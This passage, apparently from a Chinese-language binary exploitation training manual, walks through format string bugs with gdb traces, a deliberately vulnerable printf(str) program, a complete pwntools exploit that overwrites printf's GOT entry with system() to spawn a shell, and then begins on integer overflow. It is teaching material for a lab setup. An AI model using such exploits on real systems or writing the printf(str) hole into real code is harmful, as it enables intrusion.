0x00000001 0x424135d0\n0xffffd55c: 0x00004443 0x00000000 0xffffd538 0xffffd539\n0xffffd56c: 0xffffd53a 0xffffd53b 0x34303125 0x33312563\ngdb-peda$ finish\nRun till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6\n[----------------------------------registers-----------------------------------]\nEAX: 0x312\nEBX: 0x804a000 --> 0x8049f14 --> 0x1\nECX: 0x0\nEDX: 0xf7f98830 --> 0x0\nESI: 0xf7f96e68 --> 0x1bad90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678\nEIP: 0x8048520 (<main+138>: add esp,0x20)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x8048514 <main+126>: lea eax,[ebp-0x94]\n 0x804851a <main+132>: push eax\n 0x804851b <main+133>: call 0x8048350 <printf@plt>\n=> 0x8048520 <main+138>: add esp,0x20\n 0x8048523 <main+141>: sub esp,0xc\n 0x8048526 <main+144>: push 0xa\n 0x8048528 <main+146>: call 0x8048370 <putchar@plt>\n 0x804852d <main+151>: add esp,0x10\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678\n0004| 0xffffd534 --> 0x1\n0008| 0xffffd538 --> 0x12345678\n0012| 0xffffd53c --> 0xffffffff\n0016| 0xffffd540 --> 0xffffd55a (\"ABCD\")\n0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678\n0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')\n0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x08048520 in main ()\ngdb-peda$ x/20x $esp\n0xffffd530: 0xffffd564 0x00000001 0x12345678 0xffffffff\n0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0\n0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443\n0xffffd560: 0x00000000 0xffffd538 0xffffd539 0xffffd53a\n0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824\n
\u6700\u540e\u8fd8\u5f97\u5f3a\u8c03\u4e24\u70b9\uff1a
\u5728 x64 \u4f53\u7cfb\u4e2d\uff0c\u591a\u6570\u8c03\u7528\u60ef\u4f8b\u90fd\u662f\u901a\u8fc7\u5bc4\u5b58\u5668\u4f20\u9012\u53c2\u6570\u3002\u5728 Linux \u4e0a\uff0c\u524d\u516d\u4e2a\u53c2\u6570\u901a\u8fc7 RDI
\u3001RSI
\u3001RDX
\u3001RCX
\u3001R8
\u548c R9
\u4f20\u9012\uff1b\u800c\u5728 Windows \u4e2d\uff0c\u524d\u56db\u4e2a\u53c2\u6570\u901a\u8fc7 RCX
\u3001RDX
\u3001R8
\u548c R9
\u6765\u4f20\u9012\u3002
\u8fd8\u662f\u4e0a\u9762\u7684\u7a0b\u5e8f\uff0c\u4f46\u662f\u8fd9\u6b21\u6211\u4eec\u628a\u5b83\u7f16\u8bd1\u6210 64 \u4f4d\uff1a
$ gcc -fno-stack-protector -no-pie fmt.c\n
\u4f7f\u7528 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
\u4f5c\u4e3a\u8f93\u5165\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nRAX: 0x0\nRBX: 0x0\nRCX: 0xffffffff\nRDX: 0x88888888\nRSI: 0x1\nRDI: 0x7fffffffe3d0 (\"AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.\")\nRBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15)\nRSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')\nRIP: 0x400648 (<main+113>: call 0x4004e0 <printf@plt>)\nR8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')\nR9 : 0xa ('\\n')\nR10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')\nR11: 0x246\nR12: 0x400500 (<_start>: xor ebp,ebp)\nR13: 0x7fffffffe540 --> 0x1\nR14: 0x0\nR15: 0x0\nEFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x40063d <main+102>: mov r8,rdi\n 0x400640 <main+105>: mov rdi,rax\n 0x400643 <main+108>: mov eax,0x0\n=> 0x400648 <main+113>: call 0x4004e0 <printf@plt>\n 0x40064d <main+118>: mov edi,0xa\n 0x400652 <main+123>: call 0x4004d0 <putchar@plt>\n 0x400657 <main+128>: nop\n 0x400658 <main+129>: leave\nGuessed arguments:\narg[0]: 0x7fffffffe3d0 (\"AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.\")\narg[1]: 0x1\narg[2]: 0x88888888\narg[3]: 0xffffffff\narg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')\n[------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')\n0008| 0x7fffffffe3c8 --> 0x4443 ('CD')\n0016| 0x7fffffffe3d0 (\"AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.\")\n0024| 0x7fffffffe3d8 (\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.\")\n0032| 0x7fffffffe3e0 (\".%p.%p.%p.%p.%p.%p.%p.\")\n0040| 0x7fffffffe3e8 (\"p.%p.%p.%p.%p.\")\n0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')\n0056| 0x7fffffffe3f8 --> 0x1\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x0000000000400648 in main ()\ngdb-peda$ x/10g $rsp\n0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443\n0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025\n0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70\n0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001\n0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2\ngdb-peda$ c\nContinuing.\nAAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.\n
\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u6700\u540e\u7684\u8f93\u51fa\u4e2d\uff0c\u524d\u4e94\u4e2a\u6570\u5b57\u5206\u522b\u6765\u81ea\u5bc4\u5b58\u5668 RSI
\u3001RDX
\u3001RCX
\u3001R8
\u548c R9
\uff0c\u540e\u9762\u7684\u6570\u5b57\u624d\u53d6\u81ea\u6808\uff0c0x4141414141414141
\u5728 %8$p
\u7684\u4f4d\u7f6e\u3002\u8fd9\u91cc\u8fd8\u6709\u4e2a\u5730\u65b9\u8981\u6ce8\u610f\uff0c\u6211\u4eec\u524d\u9762\u8bf4\u7684 Linux \u6709 6 \u4e2a\u5bc4\u5b58\u5668\u7528\u4e8e\u4f20\u9012\u53c2\u6570\uff0c\u53ef\u662f\u8fd9\u91cc\u53ea\u8f93\u51fa\u4e86 5 \u4e2a\uff0c\u539f\u56e0\u662f\u6709\u4e00\u4e2a\u5bc4\u5b58\u5668 RDI
\u88ab\u7528\u4e8e\u4f20\u9012\u683c\u5f0f\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u4ece gdb \u4e2d\u770b\u5230\uff0carg[0]
\u5c31\u662f\u7531 RDI
\u4f20\u9012\u7684\u683c\u5f0f\u5b57\u7b26\u4e32\u3002\uff08\u73b0\u5728\u4f60\u53ef\u4ee5\u518d\u56de\u5230 x86 \u7684\u76f8\u5173\u5185\u5bb9\uff0c\u53ef\u4ee5\u770b\u5230\u5728 x86 \u4e2d\u683c\u5f0f\u5b57\u7b26\u4e32\u901a\u8fc7\u6808\u4f20\u9012\u7684\uff0c\u4f46\u662f\u540c\u6837\u7684\u4e5f\u4e0d\u4f1a\u88ab\u6253\u5370\u51fa\u6765\uff09\u5176\u4ed6\u7684\u64cd\u4f5c\u548c x86 \u6ca1\u6709\u4ec0\u4e48\u5927\u7684\u533a\u522b\uff0c\u53ea\u662f\u8fd9\u65f6\u6211\u4eec\u5c31\u4e0d\u80fd\u4fee\u6539 arg2
\u7684\u503c\u4e86\uff0c\u56e0\u4e3a\u5b83\u88ab\u5b58\u5165\u4e86\u5bc4\u5b58\u5668\u4e2d\u3002
\u6587\u6863\u5730\u5740\uff1ahttp://pwntools.readthedocs.io/en/stable/fmtstr.html
\u8be5\u6a21\u5757\u63d0\u4f9b\u4e86\u4e00\u4e9b\u5b57\u7b26\u4e32\u6f0f\u6d1e\u5229\u7528\u7684\u5de5\u5177\u3002\u8be5\u6a21\u5757\u4e2d\u5b9a\u4e49\u4e86\u4e00\u4e2a\u7c7b FmtStr
\u548c\u4e00\u4e2a\u51fd\u6570 fmtstr_payload
\u3002
FmtStr
\u63d0\u4f9b\u4e86\u81ea\u52a8\u5316\u7684\u5b57\u7b26\u4e32\u6f0f\u6d1e\u5229\u7528\uff1a
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)\n
fmtstr_payload
\u7528\u4e8e\u81ea\u52a8\u751f\u6210\u683c\u5f0f\u5316\u5b57\u7b26\u4e32 paylod\uff1a
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')\n
\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u6765\u719f\u6089\u4e0b\u8be5\u6a21\u5757\u7684\u4f7f\u7528\uff08\u4efb\u610f\u5730\u5740\u5185\u5b58\u8bfb\u5199\uff09\uff1afmt.c fmt
#include<stdio.h>\nvoid main() {\n char str[1024];\n while(1) {\n memset(str, '\\0', 1024);\n read(0, str, 1024);\n printf(str);\n fflush(stdout);\n }\n}\n
\u4e3a\u4e86\u7b80\u5355\u4e00\u70b9\uff0c\u6211\u4eec\u5173\u95ed ASLR\uff0c\u5e76\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u7f16\u8bd1\uff0c\u5173\u95ed PIE\uff0c\u4f7f\u5f97\u7a0b\u5e8f\u7684 .text .bss \u7b49\u6bb5\u7684\u5185\u5b58\u5730\u5740\u56fa\u5b9a\uff1a
# echo 0 > /proc/sys/kernel/randomize_va_space\n$ gcc -m32 -fno-stack-protector -no-pie fmt.c\n
\u5f88\u660e\u663e\uff0c\u7a0b\u5e8f\u5b58\u5728\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u6211\u4eec\u7684\u601d\u8def\u662f\u5c06 printf()
\u51fd\u6570\u7684\u5730\u5740\u6539\u6210 system()
\u51fd\u6570\u7684\u5730\u5740\uff0c\u8fd9\u6837\u5f53\u6211\u4eec\u518d\u6b21\u8f93\u5165 /bin/sh
\u65f6\uff0c\u5c31\u53ef\u4ee5\u83b7\u5f97 shell \u4e86\u3002
\u7b2c\u4e00\u6b65\u5148\u8ba1\u7b97\u504f\u79fb\uff0c\u867d\u7136 pwntools \u4e2d\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u6784\u9020\u51fa exp\uff0c\u4f46\u8fd9\u91cc\uff0c\u6211\u4eec\u8fd8\u662f\u5148\u6f14\u793a\u624b\u5de5\u65b9\u6cd5\u600e\u4e48\u505a\uff0c\u6700\u540e\u518d\u7528 pwntools \u7684\u65b9\u6cd5\u3002\u5728 gdb \u4e2d\uff0c\u5148\u5728 main
\u5904\u4e0b\u65ad\u70b9\uff0c\u8fd0\u884c\u7a0b\u5e8f\uff0c\u8fd9\u65f6 libc \u5df2\u7ecf\u88ab\u52a0\u8f7d\u8fdb\u6765\u4e86\u3002\u6211\u4eec\u8f93\u5165 \"AAAA\" \u8bd5\u4e00\u4e0b\uff1a
gdb-peda$ b main\n...\ngdb-peda$ r\n...\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffffd1f0 (\"AAAA\\n\")\nEBX: 0x804a000 --> 0x8049f10 --> 0x1\nECX: 0xffffd1f0 (\"AAAA\\n\")\nEDX: 0x400\nESI: 0xf7f97000 --> 0x1bbd90\nEDI: 0x0\nEBP: 0xffffd5f8 --> 0x0\nESP: 0xffffd1e0 --> 0xffffd1f0 (\"AAAA\\n\")\nEIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x8048508 <main+82>: sub esp,0xc\n 0x804850b <main+85>: lea eax,[ebp-0x408]\n 0x8048511 <main+91>: push eax\n=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>\n 0x8048517 <main+97>: add esp,0x10\n 0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]\n 0x8048520 <main+106>: mov eax,DWORD PTR [eax]\n 0x8048522 <main+108>: sub esp,0xc\nGuessed arguments:\narg[0]: 0xffffd1f0 (\"AAAA\\n\")\n[------------------------------------stack-------------------------------------]\n0000| 0xffffd1e0 --> 0xffffd1f0 (\"AAAA\\n\")\n0004| 0xffffd1e4 --> 0xffffd1f0 (\"AAAA\\n\")\n0008| 0xffffd1e8 --> 0x400\n0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)\n0016| 0xffffd1f0 (\"AAAA\\n\")\n0020| 0xffffd1f4 --> 0xa ('\\n')\n0024| 0xffffd1f8 --> 0x0\n0028| 0xffffd1fc --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x08048512 in main ()\n
\u6211\u4eec\u770b\u5230\u8f93\u5165 printf()
\u7684\u53d8\u91cf arg[0]: 0xffffd1f0 (\"AAAA\\n\")
\u5728\u6808\u7684\u7b2c 5 \u884c\uff0c\u9664\u53bb\u7b2c\u4e00\u4e2a\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\uff0c\u5373\u504f\u79fb\u91cf\u4e3a 4\u3002
\u8bfb\u53d6\u91cd\u5b9a\u4f4d\u8868\u83b7\u5f97 printf()
\u7684 GOT \u5730\u5740\uff08\u7b2c\u4e00\u5217 Offset\uff09\uff1a
$ readelf -r a.out\n\nRelocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:\n Offset Info Type Sym.Value Sym. Name\n08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__\n08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0\n\nRelocation section '.rel.plt' at offset 0x304 contains 5 entries:\n Offset Info Type Sym.Value Sym. Name\n0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0\n0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0\n0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0\n0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0\n0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0\n
\u5728 gdb \u4e2d\u83b7\u5f97 printf()
\u7684\u865a\u62df\u5730\u5740\uff1a
gdb-peda$ p printf\n$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>\n
\u83b7\u5f97 system()
\u7684\u865a\u62df\u5730\u5740\uff1a
gdb-peda$ p system\n$1 = {<text variable, no debug info>} 0xf7e17060 <system>\n
\u597d\u4e86\uff0c\u6f14\u793a\u5b8c\u600e\u6837\u7528\u624b\u5de5\u7684\u65b9\u5f0f\u5f97\u5230\u6784\u9020 exp \u9700\u8981\u7684\u4fe1\u606f\uff0c\u4e0b\u9762\u6211\u4eec\u7ed9\u51fa\u4f7f\u7528 pwntools \u6784\u9020\u7684\u5b8c\u6574\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801\uff1a
# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = ELF('./a.out')\nr = process('./a.out')\nlibc = ELF('/usr/lib32/libc.so.6')\n\n# \u8ba1\u7b97\u504f\u79fb\u91cf\ndef exec_fmt(payload):\n r.sendline(payload)\n info = r.recv()\n return info\nauto = FmtStr(exec_fmt)\noffset = auto.offset\n\n# \u83b7\u5f97 printf \u7684 GOT \u5730\u5740\nprintf_got = elf.got['printf']\nlog.success(\"printf_got => {}\".format(hex(printf_got)))\n\n# \u83b7\u5f97 printf \u7684\u865a\u62df\u5730\u5740\npayload = p32(printf_got) + '%{}$s'.format(offset)\nr.send(payload)\nprintf_addr = u32(r.recv()[4:8])\nlog.success(\"printf_addr => {}\".format(hex(printf_addr)))\n\n# \u83b7\u5f97 system \u7684\u865a\u62df\u5730\u5740\nsystem_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])\nlog.success(\"system_addr => {}\".format(hex(system_addr)))\n\npayload = fmtstr_payload(offset, {printf_got : system_addr})\nr.send(payload)\nr.send('/bin/sh')\nr.recv()\nr.interactive()\n$ python2 exp.py\n[*] '/home/firmy/Desktop/RE4B/a.out'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n[+] Starting local process './a.out': pid 17375\n[*] '/usr/lib32/libc.so.6'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n[*] Found format string offset: 4\n[+] printf_got => 0x804a010\n[+] printf_addr => 0xf7e26bf0\n[+] system_addr => 0xf7e17060\n[*] Switching to interactive mode\n$ echo \"hacked!\"\nhacked!\n
\u8fd9\u6837\u6211\u4eec\u5c31\u83b7\u5f97\u4e86 shell\uff0c\u53ef\u4ee5\u770b\u5230\u8f93\u51fa\u7684\u4fe1\u606f\u548c\u6211\u4eec\u624b\u5de5\u5f97\u5230\u7684\u4fe1\u606f\u5b8c\u5168\u76f8\u540c\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#312","title":"3.1.2 \u6574\u6570\u6ea2\u51fa","text":"\u5728 C \u8bed\u8a00\u57fa\u7840\u7684\u7ae0\u8282\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86 C \u8bed\u8a00\u6574\u6570\u7684\u57fa\u7840\u77e5\u8bc6\uff0c\u4e0b\u9762\u6211\u4eec\u8be6\u7ec6\u4ecb\u7ecd\u6574\u6570\u7684\u5b89\u5168\u95ee\u9898\u3002
\u7531\u4e8e\u6574\u6570\u5728\u5185\u5b58\u91cc\u9762\u4fdd\u5b58\u5728\u4e00\u4e2a\u56fa\u5b9a\u957f\u5ea6\u7684\u7a7a\u95f4\u5185\uff0c\u5b83\u80fd\u5b58\u50a8\u7684\u6700\u5927\u503c\u548c\u6700\u5c0f\u503c\u662f\u56fa\u5b9a\u7684\uff0c\u5982\u679c\u6211\u4eec\u5c1d\u8bd5\u53bb\u5b58\u50a8\u4e00\u4e2a\u6570\uff0c\u800c\u8fd9\u4e2a\u6570\u53c8\u5927\u4e8e\u8fd9\u4e2a\u56fa\u5b9a\u7684\u6700\u5927\u503c\u65f6\uff0c\u5c31\u4f1a\u5bfc\u81f4\u6574\u6570\u6ea2\u51fa\u3002\uff08x86-32 \u7684\u6570\u636e\u6a21\u578b\u662f ILP32\uff0c\u5373\u6574\u6570\uff08Int\uff09\u3001\u957f\u6574\u6570\uff08Long\uff09\u548c\u6307\u9488\uff08Pointer\uff09\u90fd\u662f 32 \u4f4d\u3002\uff09
"},{"location":"Training/Material/Binary%20Exploitation/#_15","title":"\u6574\u6570\u6ea2\u51fa\u7684\u5371\u5bb3","text":"\u5982\u679c\u4e00\u4e2a\u6574\u6570\u7528\u6765\u8ba1\u7b97\u4e00\u4e9b\u654f\u611f\u6570\u503c\uff0c\u5982\u7f13\u51b2\u533a\u5927\u5c0f\u6216\u6570\u503c\u7d22\u5f15\uff0c\u5c31\u4f1a\u4ea7\u751f\u6f5c\u5728\u7684\u5371\u9669\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u6574\u6570\u6ea2\u51fa\u5e76\u6ca1\u6709\u6539\u5199\u989d\u5916\u7684\u5185\u5b58\uff0c\u4e0d\u4f1a\u76f4\u63a5\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\uff0c\u4f46\u662f\u5b83\u4f1a\u5bfc\u81f4\u6808\u6ea2\u51fa\u548c\u5806\u6ea2\u51fa\uff0c\u800c\u540e\u4e24\u8005\u90fd\u4f1a\u5bfc\u81f4\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002\u7531\u4e8e\u6574\u6570\u6ea2\u51fa\u51fa\u73b0\u4e4b\u540e\uff0c\u5f88\u96be\u88ab\u7acb\u5373\u5bdf\u89c9\uff0c\u6bd4\u8f83\u96be\u7528\u4e00\u4e2a\u6709\u6548\u7684\u65b9\u6cd5\u53bb\u5224\u65ad\u662f\u5426\u51fa\u73b0\u6216\u8005\u53ef\u80fd\u51fa\u73b0\u6574\u6570\u6ea2\u51fa\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_16","title":"\u6574\u6570\u6ea2\u51fa","text":"\u5173\u4e8e\u6574\u6570\u7684\u5f02\u5e38\u60c5\u51b5\u4e3b\u8981\u6709\u4e09\u79cd\uff1a
OF
\u53ef\u68c0\u6d4b\u6709\u7b26\u53f7\u6570\u7684\u6ea2\u51fa0-1
\u65f6\u4f1a\u53d8\u6210\u6700\u5927\u7684\u6570\uff0c\u5982 1 \u5b57\u8282\u7684\u65e0\u7b26\u53f7\u6570\u4f1a\u53d8\u4e3a 255
\uff0c\u800c 255+1
\u4f1a\u53d8\u6210\u6700\u5c0f\u6570 0
\u3002CF
\u53ef\u68c0\u6d4b\u65e0\u7b26\u53f7\u6570\u7684\u56de\u7ed5int i;\ni = INT_MAX; // 2 147 483 647\ni++;\nprintf(\"i = %d\\n\", i); // i = -2 147 483 648\n
i = INT_MIN; // -2 147 483 648\ni--;\nprintf(\"i = %d\\n\", i); // i = 2 147 483 647\n
"},{"location":"Training/Material/Binary%20Exploitation/#_18","title":"\u65e0\u7b26\u53f7\u6570\u56de\u7ed5","text":"\u6d89\u53ca\u65e0\u7b26\u53f7\u6570\u7684\u8ba1\u7b97\u6c38\u8fdc\u4e0d\u4f1a\u6ea2\u51fa\uff0c\u56e0\u4e3a\u4e0d\u80fd\u7528\u7ed3\u679c\u4e3a\u65e0\u7b26\u53f7\u6574\u6570\u8868\u793a\u7684\u7ed3\u679c\u503c\u88ab\u8be5\u7c7b\u578b\u53ef\u4ee5\u8868\u793a\u7684\u6700\u5927\u503c\u52a0 1 \u4e4b\u548c\u53d6\u6a21\u51cf\uff08reduced modulo\uff09\u3002\u56e0\u4e3a\u56de\u7ed5\uff0c\u4e00\u4e2a\u65e0\u7b26\u53f7\u6574\u6570\u8868\u8fbe\u5f0f\u6c38\u8fdc\u65e0\u6cd5\u6c42\u51fa\u5c0f\u4e8e\u96f6\u7684\u503c\u3002
\u4f7f\u7528\u4e0b\u56fe\u76f4\u89c2\u5730\u7406\u89e3\u56de\u7ed5\uff0c\u5728\u8f6e\u4e0a\u6309\u987a\u65f6\u9488\u65b9\u5411\u5c06\u503c\u9012\u589e\u4ea7\u751f\u7684\u503c\u7d27\u6328\u7740\u5b83\uff1a
unsigned int ui;\nui = UINT_MAX; // \u5728 x86-32 \u4e0a\u4e3a 4 294 967 295\nui++;\nprintf(\"ui = %u\\n\", ui); // ui = 0\nui = 0;\nui--;\nprintf(\"ui = %u\\n\", ui); // \u5728 x86-32 \u4e0a\uff0cui = 4 294 967 295\n
"},{"location":"Training/Material/Binary%20Exploitation/#_19","title":"\u622a\u65ad","text":"0xffffffff + 0x00000001\n= 0x0000000100000000 (long long)\n= 0x00000000 (long)\n
0x00123456 * 0x00654321\n= 0x000007336BF94116 (long long)\n= 0x6BF94116 (long)\n
"},{"location":"Training/Material/Binary%20Exploitation/#_20","title":"\u6574\u578b\u63d0\u5347\u548c\u5bbd\u5ea6\u6ea2\u51fa","text":"\u6574\u578b\u63d0\u5347\u662f\u6307\u5f53\u8ba1\u7b97\u8868\u8fbe\u5f0f\u4e2d\u5305\u542b\u4e86\u4e0d\u540c\u5bbd\u5ea6\u7684\u64cd\u4f5c\u6570\u65f6\uff0c\u8f83\u5c0f\u5bbd\u5ea6\u7684\u64cd\u4f5c\u6570\u4f1a\u88ab\u63d0\u5347\u5230\u548c\u8f83\u5927\u64cd\u4f5c\u6570\u4e00\u6837\u7684\u5bbd\u5ea6\uff0c\u7136\u540e\u518d\u8fdb\u884c\u8ba1\u7b97\u3002
\u793a\u4f8b\uff1a\u6e90\u7801
#include<stdio.h>\nvoid main() {\n int l; \n short s;\n char c;\n\n l = 0xabcddcba;\n s = l;\n c = l;\n\n printf(\"\u5bbd\u5ea6\u6ea2\u51fa\\n\");\n printf(\"l = 0x%x (%d bits)\\n\", l, sizeof(l) * 8);\n printf(\"s = 0x%x (%d bits)\\n\", s, sizeof(s) * 8);\n printf(\"c = 0x%x (%d bits)\\n\", c, sizeof(c) * 8);\n\n printf(\"\u6574\u578b\u63d0\u5347\\n\");\n printf(\"s + c = 0x%x (%d bits)\\n\", s+c, sizeof(s+c) * 8);\n}\n$ ./a.out\n\u5bbd\u5ea6\u6ea2\u51fa\nl = 0xabcddcba (32 bits)\ns = 0xffffdcba (16 bits)\nc = 0xffffffba (8 bits)\n\u6574\u578b\u63d0\u5347\ns + c = 0xffffdc74 (32 bits)\n
\u4f7f\u7528 gdb \u67e5\u770b\u53cd\u6c47\u7f16\u4ee3\u7801\uff1a
gdb-peda$ disassemble main\nDump of assembler code for function main:\n 0x0000056d <+0>: lea ecx,[esp+0x4]\n 0x00000571 <+4>: and esp,0xfffffff0\n 0x00000574 <+7>: push DWORD PTR [ecx-0x4]\n 0x00000577 <+10>: push ebp\n 0x00000578 <+11>: mov ebp,esp\n 0x0000057a <+13>: push ebx\n 0x0000057b <+14>: push ecx\n 0x0000057c <+15>: sub esp,0x10\n 0x0000057f <+18>: call 0x470 <__x86.get_pc_thunk.bx>\n 0x00000584 <+23>: add ebx,0x1a7c\n 0x0000058a <+29>: mov DWORD PTR [ebp-0xc],0xabcddcba\n 0x00000591 <+36>: mov eax,DWORD PTR [ebp-0xc]\n 0x00000594 <+39>: mov WORD PTR [ebp-0xe],ax\n 0x00000598 <+43>: mov eax,DWORD PTR [ebp-0xc]\n 0x0000059b <+46>: mov BYTE PTR [ebp-0xf],al\n 0x0000059e <+49>: sub esp,0xc\n 0x000005a1 <+52>: lea eax,[ebx-0x1940]\n 0x000005a7 <+58>: push eax\n 0x000005a8 <+59>: call 0x400 <puts@plt>\n 0x000005ad <+64>: add esp,0x10\n 0x000005b0 <+67>: sub esp,0x4\n 0x000005b3 <+70>: push 0x20\n 0x000005b5 <+72>: push DWORD PTR [ebp-0xc]\n 0x000005b8 <+75>: lea eax,[ebx-0x1933]\n 0x000005be <+81>: push eax\n 0x000005bf <+82>: call 0x3f0 <printf@plt>\n 0x000005c4 <+87>: add esp,0x10\n 0x000005c7 <+90>: movsx eax,WORD PTR [ebp-0xe]\n 0x000005cb <+94>: sub esp,0x4\n 0x000005ce <+97>: push 0x10\n 0x000005d0 <+99>: push eax\n 0x000005d1 <+100>: lea eax,[ebx-0x191f]\n 0x000005d7 <+106>: push eax\n 0x000005d8 <+107>: call 0x3f0 <printf@plt>\n 0x000005dd <+112>: add esp,0x10\n 0x000005e0 <+115>: movsx eax,BYTE PTR [ebp-0xf]\n 0x000005e4 <+119>: sub esp,0x4\n 0x000005e7 <+122>: push 0x8\n 0x000005e9 <+124>: push eax\n 0x000005ea <+125>: lea eax,[ebx-0x190b]\n 0x000005f0 <+131>: push eax\n 0x000005f1 <+132>: call 0x3f0 <printf@plt>\n 0x000005f6 <+137>: add esp,0x10\n 0x000005f9 <+140>: sub esp,0xc\n 0x000005fc <+143>: lea eax,[ebx-0x18f7]\n 0x00000602 <+149>: push eax\n 0x00000603 <+150>: call 0x400 <puts@plt>\n 0x00000608 <+155>: add esp,0x10\n 0x0000060b <+158>: movsx edx,WORD PTR [ebp-0xe]\n 0x0000060f <+162>: movsx eax,BYTE PTR [ebp-0xf]\n 0x00000613 <+166>: add eax,edx\n 0x00000615 <+168>: sub esp,0x4\n 0x00000618 <+171>: push 0x20\n 0x0000061a <+173>: push eax\n 0x0000061b <+174>: lea eax,[ebx-0x18ea]\n 0x00000621 <+180>: push eax\n 0x00000622 <+181>: call 0x3f0 <printf@plt>\n 0x00000627 <+186>: add esp,0x10\n 0x0000062a <+189>: nop\n 0x0000062b <+190>: lea esp,[ebp-0x8]\n 0x0000062e <+193>: pop ecx\n 0x0000062f <+194>: pop ebx\n 0x00000630 <+195>: pop ebp\n 0x00000631 <+196>: lea esp,[ecx-0x4]\n 0x00000634 <+199>: ret\nEnd of assembler dump.\n
\u5728\u6574\u6570\u8f6c\u6362\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6709\u53ef\u80fd\u5bfc\u81f4\u4e0b\u9762\u7684\u9519\u8bef\uff1a
\u6211\u4eec\u8bf4\u8fc7\u6574\u6570\u6ea2\u51fa\u8981\u914d\u5408\u4e0a\u5176\u4ed6\u7c7b\u578b\u7684\u7f3a\u9677\u624d\u80fd\u6709\u7528\uff0c\u4e0b\u9762\u7684\u4e24\u4e2a\u51fd\u6570\u90fd\u6709\u4e00\u4e2a size_t
